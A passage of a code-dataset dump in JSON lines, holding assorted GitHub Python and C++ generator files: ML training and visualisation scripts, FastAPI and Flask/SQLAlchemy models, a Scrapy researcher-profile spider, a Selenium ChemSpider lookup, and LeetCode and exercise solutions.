batch_x, tgt_vocab)\r\n elif search == \"beam\":\r\n summary = beam_search(model, batch_x, tgt_vocab, k=beam_width)\r\n else:\r\n raise NameError(\"Unknown search method\")\r\n summaries.extend(summary)\r\n end = time.time()\r\n print('%.1f seconds spent, speed=%f/seconds' % (end-start, len(valid_x.data)/(end-start)))\r\n return summaries\r\n\r\n","repo_name":"cotitan/textsum-transformer","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"67"} +{"seq_id":"28855631689","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#RANDOM FOREST CLASSIFIER\nfrom sklearn.ensemble import RandomForestClassifier as RTC\nclassifier = RTC(n_estimators = 10, criterion = 'entropy', random_state = 0)\nclassifier.fit(x_train, y_train)\nrtc = RTC()\nrtc.fit(x_train,y_train)\n#MODEL PERFORMANCE EVALUATION\nfrom sklearn.metrics import classification_report,confusion_matrix\nx_test = np.nan_to_num(x_test)\ny_pred = rtc.predict(x_test)\nprint(classification_report(y_test,y_pred))\nconf_mat = confusion_matrix(y_test,y_pred)\nprint(\"Confusion Matrix: \",(conf_mat))\nprint(\"Accuracy : \",(conf_mat[0][0]+conf_mat[1][1])/len(y_test))\n#VISUALIZATION\nfrom os import system\nfrom sklearn.ensemble import RandomForestClassifier\nmodel = RandomForestClassifier(n_estimators=690)\n# Train\nmodel.fit(x_train, y_train.ravel())\n# Extract single tree\nestimator = model.estimators_[5]\nfrom sklearn.tree import export_graphviz\nfrom sklearn import tree\n# Export as dot file\ndotfile = open(\"C:/Users/Downloads/treerf.dot\", 'w')\nexport_graphviz(estimator, out_file=\"C:/Users/Downloads/treerf.dot\")\ndotfile.close()\nsystem(\"dot -Tpng C:/Users/Downloads/treerf.dot -o C:/Users/Downloads/treerf.png\")\nfrom graphviz import Source\nfrom IPython.display import SVG\ntree.export_graphviz(estimator, out_file=\"C:/Users/Downloads/treerf.dot\", feature_names=None)\nsystem('C:/Users/anaconda3/Lib/site-packages/graphviz/')\ntree.plot_tree(estimator,feature_names)\n\n","repo_name":"SrinidhiST/Cancer-diagnosis-and-analysis-Python","sub_path":"RANDOM FOREST CLASSIFIER.py","file_name":"RANDOM FOREST CLASSIFIER.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27415252289","text":"from fastapi import APIRouter, Depends, HTTPException, Body\nfrom fastapi.responses import PlainTextResponse\nfrom cryptoml_core.services.dataset_service import DatasetService\nfrom cryptoml_core.services.task_service import TaskService\nfrom cryptoml_core.repositories.dataset_repository import DatasetRepository\nfrom pydantic import BaseModel\nfrom typing import Optional, List\nimport pandas as pd\nfrom celery import current_app\n\nrouter = APIRouter()\n\n\n@router.get('/')\ndef get_dataset(\n symbol: Optional[str] = None,\n service: DatasetService = Depends(DatasetService),\n):\n if symbol:\n return [d for d in service.find_by_symbol(symbol)]\n else:\n return [d for d in service.all()]\n\n\n@router.post('/merge/{name}/{symbol}')\ndef merge_dataset(\n name: str,\n symbol: str,\n sync: Optional[bool] = False,\n query: dict = Body(...),\n service: DatasetService = Depends(DatasetService),\n repo: DatasetRepository = Depends(DatasetRepository),\n tasks: TaskService = Depends(TaskService)\n):\n if sync:\n datasets = repo.query(query)\n return service.merge_datasets(datasets, name, symbol)\n else:\n r = MergeRequest(\n query=query,\n name=name,\n symbol=symbol\n )\n return tasks.send(task_name='merge_datasets',\n task_args=r.dict(),\n name='merge_datasets-{}->{}-{}'.format(str(r.query), r.name, r.symbol),\n batch=str(r.query))\n\n\nclass MergeRequest(BaseModel):\n query: dict\n name: str\n symbol: str\n\n\n@router.post('/merge-many')\ndef merge_dataset_many(\n requests: List[MergeRequest] = Body(...),\n tasks: TaskService = Depends(TaskService)\n):\n _tasks = [\n tasks.send(task_name='merge_datasets',\n task_args=r.dict(),\n name='merge_datasets-{}->{}-{}'.format(str(r.query), r.name, r.symbol),\n batch=str(r.query))\n for r in requests\n ]\n return _tasks\n\n\n@current_app.task(name='merge_datasets')\ndef task_build_dataset(req: dict):\n req = MergeRequest(**req)\n service: DatasetService = DatasetService()\n datasets = service.query(req.query)\n ds = service.merge_datasets(datasets, req.name, req.symbol)\n return ds.dict()\n\n\n@router.get('/data/{dataset_id}', response_class=PlainTextResponse)\ndef get_dataset_csv(\n dataset_id: str,\n service: DatasetService = Depends(DatasetService),\n):\n ds = service.get(dataset_id)\n df = service.get_features(name=ds.name, symbol=ds.symbol, begin=ds.index_min, end=ds.index_max, columns=ds.features)\n return df.to_csv(index_label='time')\n\n\n@router.get('/data', response_class=PlainTextResponse)\ndef get_dataset(\n symbol: str,\n dataset: Optional[str] = None,\n target: Optional[str] = None,\n begin: Optional[str] = None,\n end: Optional[str] = None,\n service: DatasetService = Depends(DatasetService),\n):\n if not dataset and not target:\n raise HTTPException(status_code=400,\n detail=\"At least one of 'dataset' or 'target' parameters must be specified!\")\n _name = dataset\n if not _name:\n _name = 'target'\n d = service.get_dataset(name=_name, symbol=symbol)\n # If begin/end not specified, use recorded.\n # If auto use valid.\n if not begin:\n begin = d.index_min\n elif begin == 'auto':\n begin = d.valid_index_min\n if not end:\n end = d.index_max\n elif end == 'auto':\n end = d.valid_index_max\n # Retrieve dataframes\n dfs = []\n if dataset:\n df = service.get_features(name=dataset, symbol=symbol, begin=begin, end=end)\n dfs.append(df)\n if target:\n dfs.append(service.get_target(name=target, symbol=symbol, begin=begin, end=end))\n # Concatenate dataframes and target\n res = pd.concat(dfs, axis='columns') if len(dfs) > 1 else dfs[0]\n # Return CSV\n return res.to_csv(index_label='time')\n","repo_name":"RedLicorice/CryptoML-API","sub_path":"app/cryptoml_api/endpoints/api/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":4023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22427879308","text":"#####題目#####\n# 寫一個function來印出誰的成績是第二高,\n# 如果高過一個人分數都是第二高,請把人名一行一行印出來\n\n# function的參數:\n# students : 一個二維清單,例如[['Jerry', 88], ['Justin', 84], ['Tom', 90],\n# ['Akriti', 92], ['Harsh', 90]]\n\n# function的回傳:\n# 不須回傳\n\n# 期望的執行結果:\n\n# 例如 有個清單是 students = [['Jerry', 88], ['Justin', 84], ['Tom', 90],\n# ['Akriti', 92], ['Harsh', 90]]\n# sencond_highest(students) 的執行結果要印出:\n# Tom\n# Harsh\n#########################################################\n\ndef second_highest(students):\n #####快寫法######\n grades = [s[1] for s in students] # 只把成績拿出來\n #####普通寫法#####\n # grades = []\n # for s in students:\n # grades.append(s[1])\n # print(grades)\n grades = sorted(grades, reverse=True) # 將分數由高到低排列\n second = grades[1]\n # print(second)\n\n #####快寫法#####\n second_high_students = [s[0] for s in students if s[1] == second]\n #####普通寫法#####\n # second_high_students = []\n # for s in students:\n # if s[1] == second:\n # second_high_students.append(s[0])\n # print(second_high_students)\n for student in second_high_students:\n print(student)\n\n\nstudents = [['Jerry', 88], ['Justin', 84], ['Tom', 90], ['Akriti', 92], ['Harsh', 90]] \nsecond_highest(students)\n\n\n","repo_name":"jmps820007/coding_practices","sub_path":"challenge2/my_challenge2.py","file_name":"my_challenge2.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8798894783","text":"#!python\n\nfrom hashtable import HashTable\n\nclass Set(object):\n\n\tdef __init__(self, elements=None):\n\t\tself.elements = HashTable()\t# set is imlemented as a hashtable\n\n\t\tif elements is not None:\n\t\t\tfor element in elements:\n\t\t\t\tif self.elements.contains(element):\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tself.elements.set(element, element)\n\n\t\tself.count = self.elements.size\t# number of items in the set (built with a hashtable)\n\t\n\tdef contains(self, element):\n\t\t\"\"\"returns a boolean indicating whether element is in this set\"\"\"\n\t\treturn self.elements.contains(element)\n\n\tdef add(self, element):\n\t\t\"\"\"adds element to set if not present already\"\"\"\n\t\t# O(1) for contains method\n\t\tif self.elements.contains(element):\n\t\t\treturn\n\t\telse:\n\t\t\tself.count += 1\t# increment count by one since we only read the size in the initializer\n\t\t\t# O(n) for setting\n\t\t\tself.elements.set(element, element)\n\n\tdef remove(self, element):\n\t\t\"\"\"remove element from this set, if present, or else raise KeyError\"\"\"\n\t\t# O(n) for contains method\n\t\tif self.elements.contains(element):\n\t\t\tself.count -= 1\n\t\t\t# O(n) for delete\n\t\t\tself.elements.delete(element)\n\t\telse:\n\t\t\traise KeyError('Element not in set: {}'.format(element))\n\n\tdef union(self, other_set):\n\t\t\"\"\"return a new set that is the union of this set and other_set\n\t\tUnion: all elements in both sets\n\t\t\"\"\"\n\t\tnew_set = Set(self.elements.keys())\n\n\t\tfor item in other_set.elements.keys():\n\t\t\tnew_set.add(item)\n\n\t\treturn new_set\n\n\tdef intersection(self, other_set):\n\t\t\"\"\"return a new set that is the intersection of this set and other_set\n\t\tIntersection: all elements that contain in both sets\n\t\t\"\"\"\n\t\tnew_set = Set()\n\n\t\tif self.count > other_set.count:\n\t\t\tprint(other_set.elements.keys())\n\t\t\t# loop through other_set\n\t\t\tfor element in other_set.elements.keys():\n\t\t\t\tif self.elements.contains(element):\n\t\t\t\t\tprint(\"inside: {}\".format(element))\n\t\t\t\t\tnew_set.add(element)\n\t\telse:\n\t\t\tfor element in self.elements.keys():\n\t\t\t\tif other_set.contains(element):\n\t\t\t\t\tnew_set.add(element)\n\t\t\n\t\treturn new_set\n\n\tdef difference(self, other_set):\n\t\t\"\"\"return a new set that is the difference of this set and other_set\n\t\tDifference: all elements that do not contain in the other_set \n\t\t\"\"\"\n\t\tnew_set = Set(self.elements.keys())\n\n\t\tfor key in self.elements.keys():\n\t\t\tif other_set.contains(key):\n\t\t\t\tnew_set.remove(key)\n\n\t\treturn new_set\n\n\tdef is_subset(self, other_set):\n\t\t\"\"\"return a boolean indicating whether other_set is a subset of this set\"\"\"\n\n\t\tfor element in other_set.elements.keys():\n\t\t\tif self.elements.contains(element) is False:\n\t\t\t\treturn False\n\t\treturn True\n\n\n\n\n\n","repo_name":"RinniSwift/CoreDataStructures","sub_path":"set.py","file_name":"set.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8945354597","text":"from sqlalchemy import create_engine, Column, Integer, String, Date\nfrom sqlalchemy.orm import declarative_base\n\n\ndatabase_url = 'sqlite:///./database/university.db'\ndb = create_engine(database_url)\nBase = declarative_base()\n\n\nclass Student(Base):\n\n __tablename__ = 'student'\n\n registry = Column(Integer, primary_key=True)\n first_name = Column(String)\n last_name = Column(String)\n email = Column(String)\n phone_number = Column(String)\n degree = Column(String)\n birth_date = Column(Date)\n\n def to_dict(self):\n return {\n 'registry': self.registry,\n 'first_name': self.first_name,\n 'last_name': self.last_name,\n 'email': self.email,\n 'phone_number': self.phone_number,\n 'degree': self.degree,\n 'birth_date': str(self.birth_date)\n }\n\n\ndef create_db():\n Base.metadata.create_all(db)\n\n\nif __name__ == '__main__':\n create_db()\n","repo_name":"Soljaa/estagio-marktech","sub_path":"database/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29082051607","text":"class Solution:\n def shortestToChar(self, s: str, c: str) -> List[int]:\n indexList = []\n for index,val in enumerate(s):\n if val == c:\n indexList.append(index)\n resList = []\n p = 0#通过指针检索当前index与下一个,跟当前字符距离哪个大,然后进位\n # print(indexList)\n for index,val in enumerate(s):\n # print(index)\n if p < len(indexList)-1 and (abs(index-indexList[p]) > abs(index-indexList[p+1])):\n p += 1\n resList.append(abs(index-indexList[p]))\n return resList\nif __name__ == '__main__':\n s = \"loveleetcode\"\n c = \"e\"\n ret = Solution().shortestToChar(s,c)\n print(ret)","repo_name":"freesan44/LeetCode","sub_path":"LeetCode_821.py","file_name":"LeetCode_821.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10381281901","text":"import torch\nimport torch.nn as nn\n\nfrom torch.utils.data.dataset import Dataset\nfrom torchvision import transforms\n\nimport glob\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom fcts.load_data import IconDataset\nfrom fcts.architectures import *\n\n\n##############\n# GPU or CPU #\n##############\nif torch.cuda.is_available():\n device = 'cuda'\nelse:\n device = 'cpu'\ndevice = 'cpu'\nprint('Using ', device)\n\n\n############################\n# VISUALIZATION FUNCTIONS #\n############################\ndef imshow(img, color=True, save=False, _filepath=None):\n # correct img range to [0, 1]\n npimg = img.cpu().detach().numpy()\n npimg -= npimg.min()\n npimg /= npimg.max()\n # plot\n if color:\n npimg = np.swapaxes(np.swapaxes(npimg, 0, 1), 1, 2)\n plt.imshow(npimg)\n else:\n print(npimg.shape)\n plt.imshow(npimg[0], cmap='gray')\n # hide ticks\n plt.xticks([])\n plt.yticks([])\n # save\n if save and _filepath is not None:\n plt.savefig(_filepath)\n\ndef make_subplot(_img, _row, _column, _item):\n # correct img range to [0, 1]\n npimg = _img.cpu().detach().numpy()[0]\n npimg -= npimg.min()\n npimg /= npimg.max()\n npimg = np.swapaxes(np.swapaxes(npimg, 0, 1), 1, 2)\n # subplot\n plt.subplot(_row, _column, _item)\n plt.imshow(npimg)\n plt.xticks([])\n plt.yticks([])\n\n\ndef compare_models(_model_dict, _train_loader, color=True, _to_path=None):\n # get samples\n x = next(iter(_train_loader))\n samples = x.to(device)\n # figure\n plt.figure()\n # plot originals\n for i in range(0, 3):\n plt.subplot(3,4,4*i+1)\n plt.tight_layout()\n imshow(samples[i], color=color)\n if i == 0:\n plt.title('original')\n # reconstruct and plot for different models\n for j, key in enumerate(_model_dict):\n # get model and reconstruct sample\n model = _model_dict[key]\n model.eval()\n samples_rec, _, _ = model(samples)\n samples_rec = samples_rec.detach()\n # plot\n for i in range(3):\n plt.subplot(3, 4, 4*i+2+j)\n plt.tight_layout()\n imshow(samples_rec[i], color=color)\n if i==0:\n plt.title('{}'.format(key))\n # save\n if _to_path is not None:\n plt.savefig(_to_path)\n plt.show()\n\n\ndef interpolate_2(_model, _dataset, imgs=[1, 2], steps=20, subplot_rows=3, _to_path=None):\n # get latent space coordinates\n means = []\n for idx in imgs:\n means.append(_model(_dataset[idx][None, :])[1])\n # interpolate\n delta = (means[1]-means[0])/float(steps)\n # figure\n plt.figure()\n for i in range(steps+1):\n # subplot\n img = model.decoder(means[0] + i * delta)\n make_subplot(img, subplot_rows, np.ceil((steps+1)/subplot_rows), i+1)\n # save\n if _to_path is not None:\n plt.savefig(_to_path)\n\n\ndef interpolate_3(_model, _dataset, imgs=[0, 1, 2], steps=10, _to_path=None):\n # get latent space coordinates\n means = []\n for idx in imgs:\n means.append(_model(_dataset[idx][None, :])[1])\n # interpolate\n delta01 = (means[1]-means[0])/float(steps)\n delta02 = (means[2]-means[0])/float(steps)\n # figure\n plt.figure()\n for i in range(steps):\n for j in range(steps-i):\n # construct image from latent space vector\n img = model.decoder(means[0] + i * delta02 + j * delta01)\n # subplot\n make_subplot(img, steps, steps, i * steps + j + 1)\n # save\n if _to_path is not None:\n plt.savefig(_to_path)\n\nif __name__ == '__main__':\n #############\n # LOAD DATA #\n #############\n trafo_train = transforms.Compose([transforms.ToTensor(), transforms.Normalize((.5,), (.5,))])\n trafo_test = transforms.Compose([transforms.ToTensor(), transforms.Normalize((.5,), (.5,))])\n # datasets\n train_set = IconDataset(transform=trafo_train)\n test_set = IconDataset(part='test', transform=trafo_test)\n print('train dataset', len(train_set))\n print('test dataset', len(test_set))\n\n\n ###############\n # LOAD MODELS #\n ###############\n model_dict = {}\n # Baseline\n kwargs_baseline = {'encoder_layer_sizes': [32*32*3, 512, 256], 'decoder_layer_sizes': [256, 512, 32*32*3],\n 'latent_dim': 32, 'n_channels': 3}\n model_dict['baseline'] = BaselineVAE(**kwargs_baseline)\n\n # DCGAN\n kwargs_dcgan = {'encoder': EncoderDCGAN32, 'decoder': DecoderDCGAN32, 'n_channels': 3, 'latent_dim': 32,\n 'n_filters': 64, 'img_h': 32, 'img_w': 32,'batch_normalization': True,\n 'encoder_activation': nn.LeakyReLU(), 'decoder_activation': nn.ReLU()}\n model_dict['dcgan32'] = VAE(**kwargs_dcgan)\n\n # RESNET\n kwargs_resnet = {'encoder': EncoderRESNET32, 'decoder': DecoderRESNET32, 'n_channels': 3, 'latent_dim': 32,\n 'n_filters': 64, 'img_h': 32, 'img_w': 32,'batch_normalization': True,\n 'encoder_activation': nn.LeakyReLU(), 'decoder_activation': nn.ReLU()}\n model_dict['resnet32'] = VAE(**kwargs_resnet)\n\n def load_model(_path, _model):\n # check for previous trained models\n try:\n previous = max(glob.glob(_path + '*.pth'))\n print(f'\\nload previous model: {previous}')\n checkpoint = torch.load(previous)\n _model.load_state_dict(checkpoint['model_state_dict'])\n epochs_trained = checkpoint['epoch']\n except Exception as e:\n print('\\nno model to load. Reason: ', e)\n epochs_trained = 0\n\n for key in model_dict:\n model = model_dict[key]\n load_model('src/models/{}/'.format(key), model)\n model.to(device)\n model.eval()\n model_dict[key] = model\n\n\n #############\n # VISUALIZE #\n #############\n compare_models(model_dict,\n torch.utils.data.DataLoader(dataset=test_set, batch_size=3, shuffle=True),\n _to_path='src/images/model_comparison.png')\n interpolate_2(model_dict['dcgan32'], test_set, imgs=[0, 1], _to_path='src/images/interpolate_2.png')\n interpolate_3(model_dict['dcgan32'], test_set, imgs=[1, 2, 3], _to_path='src/images/interpolate_3.png')\n","repo_name":"jomazi/deep_vision_project","sub_path":"src/vae_interpolate.py","file_name":"vae_interpolate.py","file_ext":"py","file_size_in_byte":6226,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"30301902123","text":"import uuid\nfrom datetime import datetime\n\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.dialects.postgresql import JSON, UUID\n\ndb = SQLAlchemy()\n\n\nclass PatientModel(db.Model):\n \"\"\"\n Patient Model\n \"\"\"\n\n __tablename__ = 'patients'\n\n id = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4, unique=True)\n patient_id = db.Column(UUID(as_uuid=True), default=uuid.uuid4, nullable=False, unique=True)\n upload_time = db.Column(db.TIMESTAMP, nullable=False)\n log_storage_time = db.Column(db.TIMESTAMP, nullable=False, default=datetime.now().isoformat())\n patient_name = db.Column(db.String(255), nullable=False)\n cypher_mutation = db.Column(db.Text, nullable=False)\n fhir_data = db.Column(JSON)\n","repo_name":"tsunghanjacktsai/neo4j-gosh-provenance-keeper","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"43132005074","text":"import re\nfrom nameparser import HumanName\n\nimport nltk\nimport scrapy\n\n\nclass IrinsScraperSpider(scrapy.Spider):\n name = 'IRINS_scraper'\n allowed_domains = ['irins.org']\n start_url = None\n\n custom_settings = {\n 'USER_AGENT': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',\n 'FEED_URI': 'irins.json',\n 'FEED_FORMAT': 'json',\n 'ITEM_PIPELINES': {\n 'IRINS.IRINS.pipelines.IrinsPipeline': 300,\n }\n }\n\n last_page_index = 400\n start_page_index = 101\n\n def start_requests(self):\n for page in range(self.start_page_index, self.last_page_index + 1):\n next_url = 'https://irins.org/irins/a/searchc/search'\n form_data = {\n 'field': 'all',\n 'title': '',\n 'opt': 'free',\n 'limits': '100',\n 'cPageNo': f'{page}'\n }\n\n # form_data = {'field': 'all', 'title': '', 'opt': 'free', 'limits': '10', 'cPageNo': '2'}\n yield scrapy.http.FormRequest(next_url, formdata=form_data, callback=self.parse_page)\n\n\n def parse_page(self, response):\n response_html = scrapy.Selector(text=str(response.body)[2:-1])\n urls = response_html.xpath('//div[@class=\"col-sm-3 product-description\"]'\n '/div/div/center/'\n 'a[@class=\"btn-u btn-u-dark-blue\"]'\n '/@href').extract()\n\n yield from response.follow_all(urls, self.parse_person)\n\n def parse_person(self, response):\n name = response.xpath('//div[@class=\"profile-blog br1\"]/ul/li/h1/strong/text()').extract_first()\n name_data = \" \".join(name.split())\n name_list = HumanName(name_data).as_dict()\n\n name = ''\n honorific = name_list['title']\n for item in name_list.items():\n if item[1] != '' and item[0] != 'title':\n name = name + (item[1]) + ' '\n\n qual = response.xpath('//div[@class=\"profile-blog br1\"]/ul/li[3]/text()').extract_first().rstrip()\n qual = \" \".join(qual.split())\n\n expertise = response.xpath('//div[@id=\"expertise-view\"]/div/h5/text()').extract_first()\n expertise = [word.lower() for (word, pos) in nltk.pos_tag(nltk.word_tokenize(expertise)) if pos[0] == 'N']\n\n citations = response.xpath('//div[@class=\"Cell-citation br1\"]/div[2]/span/text()').extract_first()\n hindex = response.xpath('//div[@class=\"Cell-citation br1\"]/span/text()').extract_first()\n\n link = ''\n orcid = response.xpath('//div[@id=\"identity-view\"]/ul/li/div/span[2]/small/a/text()').extract_first()\n if not re.match(r\"(\\d{4}-){3}(\\d{4})\", orcid):\n orcid = ''\n link = response.url\n else:\n link = 'https://orcid.org/' + orcid\n\n yield {'name': name, 'honorific': honorific, 'qual': qual,\n 'exp':expertise, 'cite': citations,\n 'hindex': hindex, 'orcid': orcid, 'link': link}\n","repo_name":"anirudh-cp/Researcher-discovery-platform","sub_path":"backend/IRINS/IRINS/spiders/IRINS_scraper.py","file_name":"IRINS_scraper.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14272918351","text":"from setuptools import setup, find_packages\n\nPACKAGE = \"embers.datasets\"\nVERSION = \"0.1\"\n\n\nsetup(\n name = PACKAGE,\n version = VERSION,\n author = \"The EMBERS consortium\",\n author_email = \"dev@embers.city\",\n description = \"datasets descriptors and providers for EMBERS\",\n url = \"http://www.embers.city/\",\n keywords = [\"Open Data\", \"Smart City\"],\n license = open('COPYING.md').read(),\n packages = find_packages(\"src\"),\n package_dir = {\"\": \"src\"},\n package_data = {PACKAGE: ['*/*.json']},\n namespace_packages = [\"embers\", PACKAGE],\n\n install_requires = [\n \"requests\",\n ],\n)\n","repo_name":"iot-lab/embers-datasets","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40678394266","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\nimport re\n\nurl = \"http://www.chemspider.com/\"\n#Examples of CAS Numbers\ncas = {'564483-18-7', '1160861-53-9'}\n\n\ndriver = webdriver.Chrome()\ndriver.get(url)\nhtml_str = driver.page_source\nf = open('cas.csv', 'w+') # Output as a csv file\nf.write(\"\\\"CAS\\\", \\\"Name\\\", \\\"SMILES\\\"\\n\")\nfor i in cas:\n quest = driver.find_element_by_xpath('/html/body/form/header/div/div[2]/label/input')\n quest.send_keys(i)\n driver.find_element_by_xpath('/html/body/form/header/div/div[2]/label/button/img').click()\n try:\n found = WebDriverWait(driver, 10).until(\n EC.presence_of_element_located((By.XPATH, '/html/body/form/div[5]/div[1]/div[1]/div[1]/h3')))\n element = WebDriverWait(driver, 10).until(EC.presence_of_element_located(\n (By.XPATH, '/html/body/form/div[5]/div[1]/div[2]/div[1]/div[2]/div/ul/li[2]/p/button')))\n except:\n f.write('\\\"%s\\\",\\\"0\\\",\\\"0\\\"\\n' % i)\n else:\n if found.text == 'Found 1 result': # if there is two results, you should decide it by yourself, so the result will not output here\n name = driver.find_element_by_xpath('/html/body/form/div[5]/div[1]/div[2]/div[1]/h1/span').text\n SMILES = driver.find_element_by_xpath(\n '/html/body/form/div[5]/div[1]/div[2]/div[1]/div[2]/div/ul/li[2]/p/button')\n text = SMILES.get_attribute('onmouseover')\n Sm = re.search(r\"this, '(.*)', 'SMILES',\", text)\n f.write('\\\"%s\\\",\\\"%s\\\",\\\"%s\\\"\\n' % (i, name, Sm.group(1)))\n print(i)\n else:\n f.write('\\\"%s\\\",\\\"0\\\",\\\"0\\\"\\n' % i)\nf.close()\ndriver.close()\n","repo_name":"wehnes/ChemSpiderTool","sub_path":"ChemSpiderTool.py","file_name":"ChemSpiderTool.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"70419885335","text":"#!/usr/bin/env python\n\nimport os\nimport sys\n\ndef type(s):\n return {4: 'uint32_t', 8: 'uint64_t'}[int(s)]\n\ndef fargtype(s):\n return {4: 'i32', 8: 'i64'}[int(s)]\n\ndef encode(r, argseq):\n i = 0\n for b in (int(int(x) == 8) for x in argseq):\n i = (i << 1) | b\n return (i << 1) | int(int(r) == 8)\n\ndef decode(offset, length):\n def s(n):\n return int('48'[n])\n\n r = s(offset & 1)\n offset = offset >> 1\n seq = list(reversed([s((offset >> i) & 1) for i in range(length)]))\n return r, seq\n\ndef genfname(argc, r, argwidth):\n return 'invoke_%d_%s_%s' % (argc, r, ''.join(argwidth))\n\ndef mk_argseq(l):\n def strdecode(a, b):\n return ''.join([str(x) for x in decode(a, b)[1]])\n return sorted(set(strdecode(x, l) for x in range(int(2 ** (l+1)))))\n\ndef gen(out, argc, r, argwidth):\n argtypes = '%s' % ', '.join(type(a) for a in argwidth)\n fname = genfname(argc, r, argwidth)\n fargs = ', '.join('union farg a%d' % i for i in range(len(argwidth)))\n callargs = ', '.join('a%d.%s' % (i, fargtype(t)) for (i, t) in enumerate(argwidth))\n out.write(\"static lua_Integer %s(const void *f, %s) {\\n\" % (fname, fargs))\n out.write(\" %s (*fc)(%s) = function_cast<%s (*)(%s)>(f);\\n\" % (\n type(r), argtypes, type(r), argtypes))\n out.write(\" return (lua_Integer)fc(%s);\\n\" % callargs)\n out.write(\"}\\n\\n\")\n\nif __name__ == '__main__':\n\n MAXARGS = 5\n out = file('gen_invoker.cc.tmp', 'w')\n\n out.write(\"\"\"#include \n#include \n\n#include \"labrea.h\"\n#include \"scripting.hh\"\n#include \"gen_invoker.hh\"\n\nnamespace labrea {\n\n\"\"\")\n\n for i in range(1, MAXARGS+1):\n for argseq in mk_argseq(i):\n for r in '48':\n gen(out, i, r, argseq)\n\n for i in range(1, MAXARGS+1):\n fargs = ', '.join('union farg a%d' % x for x in range(i))\n callargs = ', '.join('a%d' % x for x in range(i))\n out.write(\"static lua_Integer abstractInvoke(struct ftype *fun, %s) {\\n\" % fargs)\n out.write(\" assert(fun->num_args == %d);\\n\" % i)\n allfuns = dict((encode(4, seq), seq) for seq in mk_argseq(i))\n allfuns.update(dict((encode(8, seq), seq) for seq in mk_argseq(i)))\n out.write(\" static lua_Integer (*allfuns[])(const void*, %s) = {\\n\" % fargs)\n for o in range(len(allfuns)):\n if o in allfuns:\n r = {o: 4}.get(encode(4, allfuns[o]), 8)\n out.write(\" %s,\" % genfname(i, r, allfuns[o]))\n else:\n out.write(\" NULL,\")\n out.write(\" // %d\\n\" % o)\n out.write(\" };\\n\\n\")\n out.write(\" return allfuns[fun->offset](fun->orig, %s);\\n\" % (callargs))\n out.write(\"}\\n\\n\")\n\n out.write(\"lua_Integer abstractInvoke(struct ftype *fun, union farg *args) {\\n\")\n out.write(\" switch (fun->num_args) {\");\n for i in range(1, MAXARGS+1):\n out.write(\" case %d:\\n\" % i)\n fa = ', '.join('args[%d]' % x for x in range(i))\n out.write(\" return abstractInvoke(fun, %s);\\n\" % fa)\n\n out.write(\" }\\n\")\n out.write(\" abort(); // UNREACHED\\n\")\n out.write(\"}\\n\")\n\n out.write(\"}\\n\")\n\n\n out.close()\n os.rename('gen_invoker.cc.tmp', 'gen_invoker.cc')\n","repo_name":"dustin/labrea","sub_path":"mkgeninvoker.py","file_name":"mkgeninvoker.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"67"} +{"seq_id":"5301034122","text":"\"\"\"\nYou are given a 0-indexed two-dimensional integer array nums.\n\nReturn the largest prime number that lies on at least one of the diagonals of nums. In case, no prime is present on any of the diagonals, return 0.\n\nNote that:\n\nAn integer is prime if it is greater than 1 and has no positive integer divisors other than 1 and itself.\nAn integer val is on one of the diagonals of nums if there exists an integer i for which nums[i][i] = val or an i for which nums[i][nums.length - i - 1] = val.\n\n\nIn the above diagram, one diagonal is [1,5,9] and another diagonal is [3,5,7].\n\n\n\nExample 1:\n\nInput: nums = [[1,2,3],[5,6,7],[9,10,11]]\nOutput: 11\nExplanation: The numbers 1, 3, 6, 9, and 11 are the only numbers present on at least one of the diagonals. Since 11 is the largest prime, we return 11.\nExample 2:\n\nInput: nums = [[1,2,3],[5,17,7],[9,11,10]]\nOutput: 17\nExplanation: The numbers 1, 3, 9, 10, and 17 are all present on at least one of the diagonals. 17 is the largest prime, so we return 17.\n\n\nConstraints:\n\n1 <= nums.length <= 300\nnums.length == numsi.length\n1 <= nums[i][j] <= 4*106\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def diagonalPrime(self, nums: List[List[int]]) -> int:\n\n def prime(n) -> bool:\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n 